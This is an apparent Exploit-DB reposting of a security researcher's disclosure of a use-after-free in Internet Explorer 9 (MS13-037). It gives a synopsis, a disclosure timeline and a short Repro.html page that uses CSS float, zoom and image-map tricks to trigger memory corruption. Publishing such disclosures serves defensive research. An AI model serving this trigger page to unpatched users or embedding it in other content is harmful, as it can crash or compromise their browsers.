Microsoft Internet Explorer 9 - MSHTML CDisp­Node::Insert­Sibling­Node Use-After-Free (MS13-037) (1)

EDB-ID:

40893

Author:

Skylined

Type:

dos

Platform:

Windows

Published:

2016-12-09

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Source: http://blog.skylined.nl/20161207001.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
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<!doctype html>
<html>
  <head>
    <script>
      window.onload=function(){location.reload();};
    </script>
  </head>
  <body>
    <var>
      <img class="float" ismap="ismap" usemap="map"/>
      <map id="map"><area/></map>
      <dfn class="float"></dfn>
      <a class="float"></a>
      <input class="zoom"/>
      text
    </var>
    <q class="border float zoom" xml:space="preserve">  </q>
  </body>
  <style type="text/css">
  .float {
    float:left;
  }
  .zoom {
    zoom:3000%;
  }
  .border::first-letter {
    border-top:1px;
  }
  </style>
</html>

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Time-line

1 November 2012: This vulnerability was found through fuzzing.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
4 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
7 December 2016: Details of this vulnerability are released.
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